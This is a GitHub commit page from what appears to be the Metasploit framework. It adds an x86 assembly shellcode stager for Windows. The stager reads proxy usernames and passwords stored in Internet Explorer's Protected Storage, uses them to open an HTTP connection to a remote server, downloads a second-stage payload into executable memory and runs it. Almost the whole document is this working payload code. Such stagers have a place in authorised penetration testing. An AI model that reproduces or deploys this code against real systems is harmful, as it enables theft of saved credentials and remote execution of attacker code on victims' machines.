Skip to content

Commit 765a1bf

Browse files
author
Brent Cook
committed
Land rapid7#1396 @somename11111's http_proxy_pstore stager
2 parents 49f4b68 + 5297ebc commit 765a1bf

File tree

4 files changed

+495
-0
lines changed

4 files changed

+495
-0
lines changed
Lines changed: 209 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,209 @@
1+
;-----------------------------------------------------------------------------;
2+
; Author: Unknown
3+
; Compatible: Confirmed Windows Server 2003, IE Versions 4 to 6
4+
; Version: 1.0
5+
;-----------------------------------------------------------------------------;
6+
[BITS 32]
7+
8+
; Input: EBP must be the address of 'api_call'
9+
; Output: top element of stack will be pointer to null-terminated password and
10+
; second will be pointer to null-terminated username of the Proxy saved in IE
11+
12+
pushad
13+
jmp after_functions
14+
15+
alloc_memory: ; returns address to allocation in eax
16+
push byte 0x40 ; PAGE_EXECUTE_READWRITE
17+
push 0x1000 ; MEM_COMMIT
18+
push 0x1000 ; allocate 1000 byte for each variable (could be less)
19+
push 0 ; NULL as we dont care where the allocation is
20+
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
21+
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXE$
22+
ret ;
23+
;
24+
after_functions: ;
25+
;
26+
; allocate memory for variables and save pointers on stack
27+
mov bl, 9 ;
28+
alloc_loop: ;
29+
call alloc_memory ;
30+
push eax ; save allocation address on stack
31+
dec bl ;
32+
jnz alloc_loop ;
33+
;
34+
load_pstorec: ; loads the pstorec.dll
35+
push 0x00636572 ; Push the bytes 'pstorec',0 onto the stack.
36+
push 0x6f747370 ; ...
37+
push esp ; Push a pointer to the 'pstorec',0 string on the stack.
38+
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
39+
call ebp ; LoadLibraryA( "pstorec" )
40+
; this should leave a handle to the pstorec
41+
; DLL-Module in eax
42+
43+
pop edx ; remove 'pstorec' string from stack
44+
pop edx
45+
46+
PStoreCreateInstance_PStore:
47+
; returns address to PStore in pPStore
48+
pop edi ; pop pPstore
49+
push edi ; restore stack
50+
;
51+
push 0 ;
52+
push 0 ;
53+
push 0 ;
54+
push edi ; arg4: pPstore
55+
push 0x2664BDDB ; hash ( "pstorec.dll", "PStoreCreateInstance" )
56+
call ebp ; PstoreCreateInstance(address, 0, 0, 0)
57+
;
58+
PStore.EnumTypes: ; returns address to EnumPStoreTypes in pEnumPStoreTypes
59+
pop eax ; pop pPstore
60+
pop edx ; pop pEnumPstoreTypes
61+
push edx ; restore stack
62+
push eax ;
63+
;
64+
push edx ; arg1: pEnumPstoreTypes
65+
push 0 ; arg2: NULL
66+
push 0 ; arg3: NULL
67+
mov eax, [eax] ; load base address of PStore in eax
68+
push eax ; push base address of PStore (this)
69+
mov edx, [eax] ; get function address of IPStore::EnumTypes in pstorec.dll
70+
mov edx, [edx+0x38] ; &EnumTypes() = *(*(&PStore)+0x38)
71+
call edx ; call IPStore::EnumTypes
72+
mov edi, 0x5e7e8100 ; Value of pTypeGUID if Password is IE:Password-Protected
73+
;
74+
EnumPStoreTypes.raw_Next:
75+
pop eax ; pop pPStore
76+
pop edx ; pop pEnumPStoreTypes
77+
pop ecx ; pop pTypeGUID
78+
push ecx ; restore stack
79+
push edx ;
80+
push eax ;
81+
;
82+
push 0 ; arg1: NULL
83+
push ecx ; arg2: pTypeGUID
84+
push 1 ; arg3: 1
85+
mov edx, [edx] ; load base address of EnumPStoreTypes
86+
push edx ; push base address of EnumPStoreTypes (this)
87+
mov edx, [edx] ; get function address of EnumPStoreTypes::raw_Next in pstorec.dll
88+
mov edx, [edx+0x0C] ; &RawNext = *(*(*(&EnumPStoreTypes))+0x0C)
89+
call edx ; call EnumPStoreTypes::raw_Next
90+
;
91+
mov eax, [esp+8] ;
92+
mov eax, [eax] ;
93+
;
94+
test eax, eax ;
95+
jz no_auth ; no Password found
96+
cmp edi, eax ; do this until TypeGUID indicates "IE Password Protected sites"
97+
jne EnumPStoreTypes.raw_Next
98+
;
99+
PStore.EnumSubtypes: ; returns address to EnumSubtypes () in pEnumSubtypes ()
100+
pop eax ; pop pPstore
101+
pop edx ; pop pEnumPstoreTypes
102+
pop ecx ; pop pTypeGUID
103+
pop edi ; pop pEnumSubtypes
104+
push edi ; restore stack
105+
push ecx ;
106+
push edx ;
107+
push eax ;
108+
;
109+
push edi ; arg1: pEnumSubtypes
110+
push 0 ; arg2: NULL
111+
push ecx ; arg3: pTypeGUID
112+
push 0 ; arg4: NULL
113+
mov eax, [eax] ; load base address of PStore in eax
114+
push eax ; push base address of PStore (this)
115+
mov edx, [eax] ; get function address of IPStore::EnumSubtypes in pstorec.dll
116+
mov edx, [edx+0x3C] ; &Pstore.EnumSubTypes() = *(*(*(&PStore))+0x3C)
117+
call edx ; call IPStore::EnumSubtypes
118+
;
119+
EnumSubtypes.raw_Next:
120+
mov eax, [esp+0x0C] ; pop pEnumSubtypes
121+
mov edx, [esp+0x10] ; pop psubTypeGUID
122+
;
123+
push 0 ; arg1: NULL
124+
push edx ; arg2: psubTypeGUID
125+
push 1 ; arg3: 1
126+
mov eax, [eax] ; load base address of EnumSubtypes in eax
127+
push eax ; push base address of EnumSubtypes (this)
128+
mov edx, [eax] ; get function address of raw_Next in pstorec.dll
129+
mov edx, [edx+0x0C] ; &(EnumSubtypes.raw_Next) = *(*(&EnumSubtypes)+0x0C)
130+
call edx ; call EnumSubtypes.raw_Next
131+
;
132+
PStore.EnumItems:
133+
pop eax ; pop pPstore
134+
pop ecx ;
135+
pop edx ; pop pTypeGUID
136+
push edx ; restore stack
137+
push ecx ;
138+
push eax ;
139+
mov ecx, [esp+0x10] ; pop psubTypeGUID
140+
mov edi, [esp+0x14] ; pop pspEnumItems
141+
;
142+
push edi ; arg1: pspEnumItems
143+
push 0 ; arg2: NULL
144+
push ecx ; arg3: psubTypeGUID
145+
push edx ; arg4: pTyoeGUID
146+
push 0 ; arg5: NULL
147+
mov eax, [eax] ; load base address of PStore in eax
148+
push eax ; push base address of PStore (this)
149+
mov edx, [eax] ; get function address of IPStore::Enumitems in pstorec.dll
150+
mov edx, [edx+0x54] ;
151+
call edx ; call IPStore::Enumitems
152+
;
153+
spEnumItems.raw_Next:
154+
mov eax, [esp+0x14] ; pop pspEnumItems
155+
mov ecx, [esp+0x18] ; pop pitemName
156+
;
157+
push 0 ; arg1: NULL
158+
push ecx ; arg2: pitemName
159+
push 1 ; arg3: 1
160+
mov eax, [eax] ; load base address of spEnumItems in eax
161+
push eax ; push base addres of spEnumItems (this)
162+
mov edx, [eax] ; get function address of raw_Next in pstorec.dll
163+
mov edx, [edx+0x0C] ;
164+
call edx ;
165+
;
166+
PStore.ReadItem:
167+
pop eax ; pop pPStore
168+
push eax ;
169+
;
170+
push 0 ; arg1: NULL
171+
push 0 ; arg2: NULL (stiinfo not needed)
172+
mov ecx, [esp+0x24] ; pop ppsData (8. Element)
173+
push ecx ; arg3: ppsData
174+
mov ecx, [esp+0x2C] ; pop ppsDataLen
175+
push ecx ; arg4: ppsDataLen (not needed?)
176+
mov ecx, [esp+0x28] ; pop pitemName (7. Element)
177+
mov ecx, [ecx] ;
178+
push ecx ; arg5: pitemName
179+
mov ecx, [esp+0x24] ; pop psubTypeGUID (5. Element)
180+
push ecx ; arg6: psubTypeGUID
181+
mov ecx, [esp+0x20] ; pop pTypeGUID (3. Element)
182+
push ecx ; arg7: pTypeGUID
183+
push 0 ; arg8: NULL
184+
mov eax, [eax] ; load base address of PStore in eax
185+
push eax ; push base addres of PStore (this)
186+
mov edx, [eax] ; get function address of IPStore::ReadItem in pstorec.dll
187+
mov edx, [edx+0x44] ;
188+
call edx ;
189+
;
190+
split_user_pass:
191+
mov eax, [esp+0x1C] ; eax = ppsData
192+
mov eax, [eax] ; now eax contains pointer to "user:pass"
193+
push eax ; push pointer to user
194+
mov cl, byte 0x3a ; load ":" in ecx
195+
mov dl, byte [eax] ; load first byte of ppsData in edx
196+
cmp cl, dl ;
197+
jz no_auth ;
198+
loop_split: ;
199+
inc eax ;
200+
mov dl, byte [eax] ;
201+
cmp cl, dl ;
202+
jnz loop_split ; increase eax until it points to ":"
203+
;
204+
mov [eax], byte 0x00 ; replace ":" with 00
205+
inc eax ;
206+
push eax ; push pointer to pass
207+
;
208+
no_auth:
209+
Lines changed: 157 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,157 @@
1+
;-----------------------------------------------------------------------------;
2+
; Author: HD Moore
3+
; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
4+
; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1)
5+
; Version: 1.0
6+
;-----------------------------------------------------------------------------;
7+
[BITS 32]
8+
9+
; Input: EBP must be the address of 'api_call'.
10+
; Top and second top element of stack can be pointer to null-terminated
11+
; password and pointer to null-terminated username of a proxy server to connect to.
12+
; Output: EDI will be the socket for the connection to the server
13+
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
14+
load_wininet:
15+
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
16+
push 0x696e6977 ; ...
17+
push esp ; Push a pointer to the "wininet" string on the stack.
18+
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
19+
call ebp ; LoadLibraryA( "wininet" )
20+
21+
internetopen:
22+
xor edi,edi
23+
push edi ; DWORD dwFlags
24+
push edi ; LPCTSTR lpszProxyBypass
25+
push edi ; LPCTSTR lpszProxyName
26+
push edi ; DWORD dwAccessType (PRECONFIG = 0)
27+
push byte 0 ; NULL pointer
28+
push esp ; LPCTSTR lpszAgent ("\x00")
29+
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
30+
call ebp
31+
32+
jmp short dbl_get_server_host
33+
34+
internetconnect:
35+
pop ebx ; Save the hostname pointer
36+
xor edi, edi
37+
push edi ; DWORD_PTR dwContext (NULL)
38+
push edi ; dwFlags
39+
push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
40+
push ecx ; password
41+
push edx ; username
42+
push dword 4444 ; PORT
43+
push ebx ; HOSTNAME
44+
push eax ; HINTERNET hInternet
45+
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
46+
call ebp
47+
48+
jmp get_server_uri
49+
50+
httpopenrequest:
51+
pop ecx
52+
xor edx, edx ; NULL
53+
push edx ; dwContext (NULL)
54+
push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200) ; dwFlags
55+
;0x80000000 | ; INTERNET_FLAG_RELOAD
56+
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
57+
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
58+
;0x00000200 ; INTERNET_FLAG_NO_UI
59+
push edx ; accept types
60+
push edx ; referrer
61+
push edx ; version
62+
push ecx ; url
63+
push edx ; method
64+
push eax ; hConnection
65+
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
66+
call ebp
67+
mov esi, eax ; hHttpRequest
68+
69+
set_retry:
70+
push byte 0x10
71+
pop ebx
72+
73+
httpsendrequest:
74+
xor edi, edi
75+
push edi ; optional length
76+
push edi ; optional
77+
push edi ; dwHeadersLength
78+
push edi ; headers
79+
push esi ; hHttpRequest
80+
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
81+
call ebp
82+
test eax,eax
83+
jnz short allocate_memory
84+
85+
try_it_again:
86+
dec ebx
87+
jz failure
88+
jmp short httpsendrequest
89+
90+
dbl_get_server_host:
91+
jmp get_server_host
92+
93+
get_server_uri:
94+
call httpopenrequest
95+
96+
server_uri:
97+
db "/12345", 0x00
98+
99+
failure:
100+
push 0x56A2B5F0 ; hardcoded to exitprocess for size
101+
call ebp
102+
103+
allocate_memory:
104+
push byte 0x40 ; PAGE_EXECUTE_READWRITE
105+
push 0x1000 ; MEM_COMMIT
106+
push 0x00400000 ; Stage allocation (8Mb ought to do us)
107+
push edi ; NULL as we dont care where the allocation is (zero'd from the prev function)
108+
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
109+
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
110+
111+
download_prep:
112+
xchg eax, ebx ; place the allocated base address in ebx
113+
push ebx ; store a copy of the stage base address on the stack
114+
push ebx ; temporary storage for bytes read count
115+
mov edi, esp ; &bytesRead
116+
117+
download_more:
118+
push edi ; &bytesRead
119+
push 8192 ; read length
120+
push ebx ; buffer
121+
push esi ; hRequest
122+
push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )
123+
call ebp
124+
125+
test eax,eax ; download failed? (optional?)
126+
jz failure
127+
128+
mov eax, [edi]
129+
add ebx, eax ; buffer += bytes_received
130+
131+
test eax,eax ; optional?
132+
jnz download_more ; continue until it returns 0
133+
pop eax ; clear the temporary storage
134+
135+
execute_stage:
136+
ret ; dive into the stored stage address
137+
138+
get_server_host:
139+
140+
;//////////////////////////////////
141+
;//get proxy credentials from stack
142+
;//////////////////////////////////
143+
get_proxy_auth:
144+
pop esi ; delete the top 3 stack elements as they are
145+
pop esi ; garbage from this block
146+
pop esi
147+
148+
pop ecx ; save pointer to password in ecx
149+
pop edx ; save pointer to username in edx
150+
;/////////////////////////////////////////////////
151+
; we use the credentials only in internetconnect//
152+
;/////////////////////////////////////////////////
153+
154+
call internetconnect
155+
156+
server_host:
157+
Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
;-----------------------------------------------------------------------------;
2+
; Author: Unknown
3+
; Compatible: Windows Server 2003, IE Versions 4 to 6
4+
; Build: >build.py stager_reverse_http_proxy_pstore
5+
;-----------------------------------------------------------------------------;
6+
7+
[BITS 32]
8+
[ORG 0]
9+
10+
cld ; Clear the direction flag.
11+
call start ; Call start, this pushes the address of 'api_call' onto the stack.
12+
%include "./src/block/block_api.asm"
13+
start: ;
14+
pop ebp ; pop off the address of 'api_call' for calling later.
15+
%include "./src/block/block_get_pstore_creds.asm"
16+
%include "./src/block/block_reverse_http_use_proxy_creds.asm"
17+
; By here we will have performed the reverse_tcp connection and EDI will be our socket.
18+

0 commit comments

Comments
 (0)